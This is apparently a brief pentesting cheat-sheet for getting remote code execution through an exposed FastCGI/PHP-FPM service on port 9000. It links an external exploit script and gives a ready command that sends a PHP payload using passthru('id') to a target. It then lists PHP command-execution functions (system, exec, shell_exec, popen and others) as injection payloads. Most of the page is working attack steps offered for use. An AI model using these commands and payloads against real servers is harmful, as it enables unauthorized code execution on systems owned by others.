githubEdit

FastCGI

Port: 9000

Link: https://book.hacktricks.wiki/en/network-services-pentesting/9000-pentesting-fastcgi.html

Python script: https://gist.githubusercontent.com/phith0n/9615e2420f31048f7e30f3937356cf75/raw/ffd7aa5b3a75ea903a0bb9cc106688da738722c5/fpm.py

Find the phpinfo file within the server to check which PHP functions are allowed to execute.

1) Modify hacktricks script according the target

2) Achieve RCE using hacktricks script

./fpm.sh TARGET_IP

Python script usage

python3 fpm.py domain.local -p 9000 -c "<?php passthru('id');?>" /var/www/html/phpinfo.php

PHP Code execution functions

Passthru

<?php passthru('id');?>

System

<?php system('id');?>

Exec

Shell_exec

Popen

Proc_open

Pcntl_exec

Use functions with Print_r

Use functions with echo

Usual index.php locations

Linux

Windows

Last updated